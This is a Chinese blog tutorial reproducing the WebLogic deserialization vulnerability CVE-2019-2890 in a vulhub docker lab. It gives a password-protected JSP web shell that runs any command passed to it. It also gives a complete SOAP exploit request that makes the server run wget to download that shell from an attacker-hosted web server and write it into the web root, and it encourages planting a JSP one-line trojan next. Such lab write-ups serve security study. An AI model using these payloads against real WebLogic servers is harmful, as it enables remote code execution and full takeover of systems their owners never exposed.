【网络安全---漏洞复现】WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现

首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

超详细的网络安全学习笔记icon-default.png?t=N7T8https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025

不知道怎么获取的可以私信联系我,欢迎技术交流!

一,漏洞描述

1-1 漏洞原理:

   Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。

1-2 影响版本

WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3

二,靶场搭建

靶机:192.168.31.160

通过vulhub靶场来进行复现

需要有docker镜像,需要安装docker镜像请参考下面这篇文章

docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790

通过docker-compose up -d 命令拉去启动靶场,我之前已经拉去启动过,这次只需要启动即可; 

浏览器访问一下http://192.168.31.160:7001/console/login/LoginForm.jsp

看到如下页面表示靶场搭建好了,并启动成功 

  访问一下http://192.168.31.160:7001/_async/AsyncResponseService

看到如吓页面,说明存在 反序列化漏洞(CVE-2019-2890)

三,漏洞复现

1-1 准备java脚本文件

编写能执行系统命令的java脚本文件,通过漏洞上传到服务器,可以请求的方式执行系统漏洞

脚本文件我给大家准备好了,直接用即可

这代码大概意思就是接受两个参数pwd和cmd,pwd是确认密码,cmd是执行的系统命令;

当传过来的pwd值为123时,执行cmd系统指令并返回

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[1024];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

1-2 在另一个主机,或者直接靶机上也可以,mkdir aini 创建一个文件夹aini的文件夹,进入到文件夹里面,tocuh shell.txt ,然后vim shell.txt 把准备好的执行系统指令的代码写入到shell.txt中

1-2 开启web服务

我们需要开启web服务,让shell.txt能够访问

在aini 文件夹里执行 python3 -m http.server 5555 开启web服务,默认以aini文件夹为根目录 

注:我是kali系统,自带Python3 ,如果是centos系统的话应该不是自带Python3 ,可以yum provides python3 找到能安装的Python3安装包,然后进行安装

web 服务已经开启,访问看看 192.168.31.160:5555 

能成功访问到

1-3 抓包,修改数据包

对 http://192.168.31.160:7001/_async/AsyncResponseService

进行抓包,并放到重发器里面 

​ 

下面对数据包进行修改

GET请求---------POST请求

添加ContentType 值为text/xml

可以删除一些多余的请求行,只保留下面给的几个

注意:下面代买中如下红色部分需要修改改成自己开启web服务的主机IP和端口,和shell的名称

<string>wget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp</string>

这个代码的意思就是去 http://192.168.31.160:12345/shell.txt 里 把shell.txt下载下来以后再写入到服务器上一个aini.jsp的文件中

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.31.160:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 868
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">  
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

 1-4 发包,查看结果

发包以后查看如下结果,说明文件写入成功了

1-5 访问写入的文件,执行命令

 

到此我们就复现成功了,通过反序列化写入能执行系统命令的脚本问价,然后可以执行系统命令,这么说能不能写入一句户木马程序来getshell呢?

大家可以取找JSP一句话木马,同样的办法写入以后可以用工具试一下看看

有问题可以留言,一起探讨

首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识

分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

超详细的网络安全学习笔记icon-default.png?t=N7T8https://m.tb.cn/h.gU0B0pz?tk=fx3VWyN8gIa%20HU0025

不知道怎么获取的可以私信联系我,欢迎技术交流!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学网安的A

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值